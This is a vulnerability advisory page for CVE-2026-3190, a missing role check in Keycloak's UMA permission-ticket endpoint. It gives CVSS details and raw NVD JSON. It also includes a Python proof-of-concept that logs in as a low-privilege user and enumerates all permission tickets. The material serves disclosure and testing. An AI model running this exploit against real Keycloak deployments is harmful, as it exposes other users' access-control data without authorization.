Security Vulnerability Report
中文
CVE-2026-3190 CVSS 4.3 MEDIUM

CVE-2026-3190

Published: 2026-03-26 19:17:06
Last Modified: 2026-04-02 14:16:32

Description

A flaw was found in Keycloak. The User-Managed Access (UMA) 2.0 Protection API endpoint for permission tickets fails to enforce the `uma_protection` role check. This allows any authenticated user with a token issued for a resource server client, even without the `uma_protection` role, to enumerate all permission tickets in the system. This vulnerability partial leads to information disclosure.

CVSS Details

CVSS Score
4.3
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N

Configurations (Affected Products)

cpe:2.3:a:redhat:build_of_keycloak:-:*:*:*:-:*:*:* - VULNERABLE
Keycloak (具体受影响版本请参考RedHat安全公告RHSA-2026:6477)

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import requests # Configuration target_url = "https://keycloak.example.com" realm = "master" client_id = "resource-server-client" username = "low_priv_user" password = "password" # 1. Authenticate to get a token # The attacker needs a valid token for a resource server client auth_url = f"{target_url}/realms/{realm}/protocol/openid-connect/token" data = { "grant_type": "password", "client_id": client_id, "username": username, "password": password } print("[*] Authenticating...") response = requests.post(auth_url, data=data) if response.status_code == 200: token = response.json().get("access_token") print("[+] Token obtained.") # 2. Exploit: Enumerate permission tickets via UMA Protection API # This endpoint usually requires 'uma_protection' role uma_url = f"{target_url}/realms/{realm}/authz/protection/permission-tickets" headers = { "Authorization": f"Bearer {token}" } print("[*] Attempting to enumerate permission tickets...") exploit_resp = requests.get(uma_url, headers=headers) if exploit_resp.status_code == 200: print("[+] Success! Leaked permission tickets:") print(exploit_resp.text) else: print(f"[-] Failed. Status: {exploit_resp.status_code}") else: print("[-] Authentication failed.")

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-3190", "sourceIdentifier": "[email protected]", "published": "2026-03-26T19:17:06.413", "lastModified": "2026-04-02T14:16:31.917", "vulnStatus": "Modified", "cveTags": [], "descriptions": [{"lang": "en", "value": "A flaw was found in Keycloak. The User-Managed Access (UMA) 2.0 Protection API endpoint for permission tickets fails to enforce the `uma_protection` role check. This allows any authenticated user with a token issued for a resource server client, even without the `uma_protection` role, to enumerate all permission tickets in the system. This vulnerability partial leads to information disclosure."}, {"lang": "es", "value": "Se encontró una falla en Keycloak. El endpoint de la API de protección de User-Managed Access (UMA) 2.0 para tickets de permiso no aplica la verificación del rol 'uma_protection'. Esto permite que cualquier usuario autenticado con un token emitido para un cliente de servidor de recursos, incluso sin el rol 'uma_protection', enumere todos los tickets de permiso en el sistema. Esta vulnerabilidad conduce parcialmente a la revelación de información."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N", "baseScore": 4.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 1.4}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-280"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:redhat:build_of_keycloak:-:*:*:*:-:*:*:*", "matchCriteriaId": "E5C930CB-4EAD-497B-A44B-D880F2A1F85B"}]}]}], "references": [{"url": "https://access.redhat.com/errata/RHSA-2026:6477", "source": "[email protected]"}, {"url": "https://access.redhat.com/errata/RHSA-2026:6478", "source": "[email protected]"}, {"url": "https://access.redhat.com/security/cve/CVE-2026-3190", "source": "[email protected]", "tags": ["Vendor Advisory"]}, {"url": "https://bugzilla.redhat.com/show_bug.cgi?id=2442572", "source": "[email protected]", "tags": ["Issue Tracking", "Vendor Advisory"]}]}}